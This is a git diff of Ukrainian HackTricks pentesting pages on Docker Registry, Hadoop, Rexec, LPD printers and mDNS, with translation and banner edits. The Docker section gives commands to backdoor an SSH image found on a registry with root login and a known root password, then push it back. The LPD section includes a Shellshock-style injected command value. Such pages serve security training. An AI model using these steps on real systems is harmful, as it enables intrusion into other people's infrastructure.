||||
```
|
||||
{% endcode %}
|
||||
|
||||
**Створіть** новий образ, **перевірте**, чи він створений, і **запустіть** його:
|
||||
|
||||
**Створіть** новий образ, **перевірте**, що він створений, і **відправте** його:
|
||||
```bash
|
||||
docker build -t 10.10.10.10:5000/wordpress .
|
||||
#Create
|
||||
docker images
|
||||
docker push registry:5000/wordpress #Push it
|
||||
```
|
||||
### Backdooring SSH server image
|
||||
|
||||
### Додавання backdoor до образу SSH сервера
|
||||
|
||||
Припустимо, що ви знайшли Docker Registry з образом SSH і хочете додати до нього backdoor.\
|
||||
**Завантажте** образ та **запустіть** його:
|
||||
|
||||
Припустимо, що ви знайшли Docker Registry з образом SSH і хочете його зламати.\
|
||||
**Завантажте** образ і **запустіть** його:
|
||||
```bash
|
||||
docker pull 10.10.10.10:5000/sshd-docker-cli
|
||||
docker run -d 10.10.10.10:5000/sshd-docker-cli
|
||||
```
|
||||
|
||||
Витягніть файл `sshd_config` з образу SSH:
|
||||
|
||||
```bash
|
||||
docker cp 4c989242c714:/etc/ssh/sshd_config .
|
||||
```
|
||||
|
||||
І змініть його, щоб встановити: `PermitRootLogin yes`
|
||||
|
||||
Створіть **Dockerfile** наступного зразка:
|
||||
Створіть **Dockerfile** на зразок наступного:
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Dockerfile" %}
|
||||
```bash
|
||||
FROM 10.10.10.10:5000/sshd-docker-cli
|
||||
COPY sshd_config /etc/ssh/
|
||||
RUN echo root:password | chpasswd
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
**Створіть** новий образ, **перевірте**, що він створений, і **відправте** його:
|
||||
```bash
|
||||
docker build -t 10.10.10.10:5000/sshd-docker-cli .
|
||||
#Create
|
||||
docker images
|
||||
docker push registry:5000/sshd-docker-cli #Push it
|
||||
```
|
||||
## Посилання
|
||||
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
|
||||
|
||||
\`\`\`bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd\_config /etc/ssh/ RUN echo root:password | chpasswd \`\`\` \*\*Створіть\*\* новий образ, \*\*перевірте\*\*, чи він створений, і \*\*запустіть\*\* його: \`\`\`bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it \`\`\` ## Посилання \* \[https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/]\(https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний мерч PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,24 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Експерт з червоної команди HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДТРИМКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# **Основна інформація**
|
||||
|
||||
**Apache Hadoop** - це **відкрита фреймворк** для **розподіленого зберігання та обробки** **великих наборів даних** на **кластерах комп'ютерів**. Він використовує **HDFS** для зберігання та **MapReduce** для обробки.
|
||||
**Apache Hadoop** - це **відкритий фреймворк** для **розподіленого зберігання та обробки** **великих наборів даних** на **комп'ютерних кластерах**. Він використовує **HDFS** для зберігання та **MapReduce** для обробки.
|
||||
|
||||
На жаль, на момент документації в Metasploit відсутня підтримка Hadoop. Однак ви можете використовувати наступні **Nmap скрипти** для переліку служб Hadoop:
|
||||
На жаль, Hadoop не має підтримки у фреймворку Metasploit на момент документації. Однак ви можете використовувати наступні **Nmap скрипти** для перерахунку сервісів Hadoop:
|
||||
|
||||
- **`hadoop-jobtracker-info (Порт 50030)`**
|
||||
- **`hadoop-tasktracker-info (Порт 50060)`**
|
||||
|
@ -25,19 +26,19 @@
|
|||
- **`hadoop-datanode-info (Порт 50075)`**
|
||||
- **`hadoop-secondary-namenode-info (Порт 50090)`**
|
||||
|
||||
Важливо зазначити, що **Hadoop працює без аутентифікації у своїй стандартній конфігурації**. Однак для підвищення безпеки доступні конфігурації для інтеграції Kerberos з HDFS, YARN та MapReduce сервісами.
|
||||
|
||||
Важливо зауважити, що **Hadoop працює без аутентифікації в своєму стандартному налаштуванні**. Однак для підвищення безпеки доступні конфігурації для інтеграції Kerberos з HDFS, YARN та службами MapReduce.
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Експерт з червоної команди HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДТРИМКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# 512 - Pentesting Rexec
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Базова інформація
|
||||
## Основна інформація
|
||||
|
||||
Це сервіс, який **дозволяє виконувати команду всередині хоста**, якщо ви знаєте дійсні **вірогідні дані** (ім'я користувача та пароль).
|
||||
Це сервіс, який **дозволяє вам виконувати команду всередині хоста**, якщо ви знаєте дійсні **облікові дані** (ім'я користувача та пароль).
|
||||
|
||||
**Порт за замовчуванням:** 512
|
||||
```
|
||||
|
@ -25,16 +26,17 @@ PORT STATE SERVICE
|
|||
```
|
||||
### [**Brute-force**](../generic-methodologies-and-resources/brute-force.md#rexec)
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### **Вступ до протоколу LPD**
|
||||
|
||||
У 1980-х роках був розроблений протокол **Line Printer Daemon (LPD)** в Berkeley Unix, який пізніше був узаконений через RFC1179. Цей протокол працює через порт 515/tcp, дозволяючи взаємодію через команду `lpr`. Суть друку через LPD полягає в надсиланні **контрольного файлу** (для вказання деталей завдання та користувача) разом з **файлом даних** (який містить інформацію для друку). Хоча контрольний файл дозволяє вибір **різних форматів файлів** для файлу даних, обробка цих файлів визначається конкретною реалізацією LPD. Широко визнаною реалізацією для систем, схожих на Unix, є **LPRng**. Зокрема, протокол LPD може бути використаний для виконання **зловмисних друкувальних завдань PostScript** або **PJL**.
|
||||
У 1980-х роках був розроблений **протокол Line Printer Daemon (LPD)** в Berkeley Unix, який пізніше був формалізований через RFC1179. Цей протокол працює через порт 515/tcp, дозволяючи взаємодії через команду `lpr`. Суть друку через LPD полягає в надсиланні **контрольного файлу** (для вказівки деталей завдання та користувача) разом з **даними файлу** (який містить інформацію для друку). Хоча контрольний файл дозволяє вибір **різних форматів файлів** для даних файлу, обробка цих файлів визначається конкретною реалізацією LPD. Широко визнаною реалізацією для Unix-подібних систем є **LPRng**. Варто зазначити, що протокол LPD може бути використаний для виконання **зловмисного PostScript** або **PJL друкованих завдань**.
|
||||
|
||||
### **Інструменти для взаємодії з принтерами LPD**
|
||||
|
||||
[**PRET**](https://github.com/RUB-NDS/PRET) представляє два основні інструменти, `lpdprint` та `lpdtest`, які пропонують простий спосіб взаємодії з принтерами, сумісними з LPD. Ці інструменти дозволяють виконувати різноманітні дії від друку даних до маніпулювання файлами на принтері, такі як завантаження, вивантаження або видалення.
|
||||
[**PRET**](https://github.com/RUB-NDS/PRET) представляє два основні інструменти, `lpdprint` і `lpdtest`, які пропонують простий спосіб взаємодії з принтерами, сумісними з LPD. Ці інструменти дозволяють виконувати ряд дій, від друку даних до маніпуляцій з файлами на принтері, таких як завантаження, вивантаження або видалення:
|
||||
```python
|
||||
# To print a file to an LPD printer
|
||||
lpdprint.py hostname filename
|
||||
|
@ -33,23 +34,24 @@ lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
|
|||
# To send a mail through the printer
|
||||
lpdtest.py hostname mail lpdtest@mailhost.local
|
||||
```
|
||||
Для осіб, які зацікавлені у подальшому дослідженні сфери **взлому принтерів**, вичерпний ресурс можна знайти тут: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||
Для тих, хто зацікавлений у подальшому вивченні сфери **printer hacking**, всебічний ресурс можна знайти тут: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||
|
||||
# Shodan
|
||||
|
||||
* `порт 515`
|
||||
* `port 515`
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте взлом AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,86 +1,87 @@
|
|||
# 5353/UDP Multicast DNS (mDNS) та DNS-SD
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Основна інформація**
|
||||
|
||||
**Multicast DNS (mDNS)** дозволяє виконувати **операції, схожі на DNS**, в межах локальних мереж без потреби у традиційному DNS-сервері. Він працює на **UDP-порту 5353** і дозволяє пристроям виявляти один одного та їх послуги, що часто бачиться в різних пристроях Інтернету речей. **DNS Service Discovery (DNS-SD)**, часто використовується разом з mDNS, допомагає ідентифікувати послуги, доступні в мережі через стандартні запити DNS.
|
||||
**Multicast DNS (mDNS)** дозволяє виконувати **операції, подібні до DNS**, у локальних мережах без необхідності в традиційному DNS-сервері. Він працює на **UDP порту 5353** і дозволяє пристроям виявляти одне одного та свої послуги, що часто спостерігається в різних IoT-пристроях. **DNS Service Discovery (DNS-SD)**, який часто використовується разом з mDNS, допомагає в ідентифікації послуг, доступних у мережі, через стандартні DNS-запити.
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
5353/udp open zeroconf
|
||||
```
|
||||
### **Операція mDNS**
|
||||
|
||||
У середовищах без стандартного DNS-сервера mDNS дозволяє пристроям розгадувати доменні імена, що закінчуються на **.local**, запитуючи мультикаст-адресу **224.0.0.251** (IPv4) або **FF02::FB** (IPv6). Важливими аспектами mDNS є значення **Time-to-Live (TTL)**, що вказує на дійсність запису, та **QU біт**, що відрізняє одиночні та мультикаст-запити. З погляду безпеки важливо, щоб реалізації mDNS перевіряли, чи адреса джерела пакета відповідає локальній підмережі.
|
||||
У середовищах без стандартного DNS-сервера mDNS дозволяє пристроям розв'язувати доменні імена, що закінчуються на **.local**, запитуючи мультикаст-адресу **224.0.0.251** (IPv4) або **FF02::FB** (IPv6). Важливими аспектами mDNS є значення **Time-to-Live (TTL)**, що вказує на дійсність запису, та **QU bit**, що розрізняє уніicast та мультикаст запити. З точки зору безпеки, важливо, щоб реалізації mDNS перевіряли, що адреса джерела пакета відповідає локальній підмережі.
|
||||
|
||||
### **Функціонування DNS-SD**
|
||||
|
||||
DNS-SD сприяє виявленню мережевих служб за допомогою запитів до записів вказівника (PTR), які відображають типи служб на їх екземпляри. Служби ідентифікуються за допомогою шаблону **_\<Service>.\_tcp або \_\<Service>.\_udp** в домені **.local**, що призводить до виявлення відповідних записів **SRV** та **TXT**, які надають детальну інформацію про службу.
|
||||
DNS-SD полегшує виявлення мережевих сервісів, запитуючи записи вказівників (PTR), які відображають типи сервісів на їхні екземпляри. Сервіси ідентифікуються за допомогою шаблону **_\<Service>.\_tcp або \_\<Service>.\_udp** в домені **.local**, що призводить до виявлення відповідних **SRV** та **TXT записів**, які надають детальну інформацію про сервіс.
|
||||
|
||||
### **Дослідження мережі**
|
||||
|
||||
#### **Використання nmap**
|
||||
|
||||
Корисна команда для сканування локальної мережі на послуги mDNS:
|
||||
Корисна команда для сканування локальної мережі на наявність mDNS сервісів:
|
||||
```bash
|
||||
nmap -Pn -sUC -p5353 [target IP address]
|
||||
```
|
||||
Ця команда допомагає визначити відкриті порти mDNS та рекламовані над ними сервіси.
|
||||
Ця команда допомагає виявити відкриті порти mDNS та сервіси, які рекламуються через них.
|
||||
|
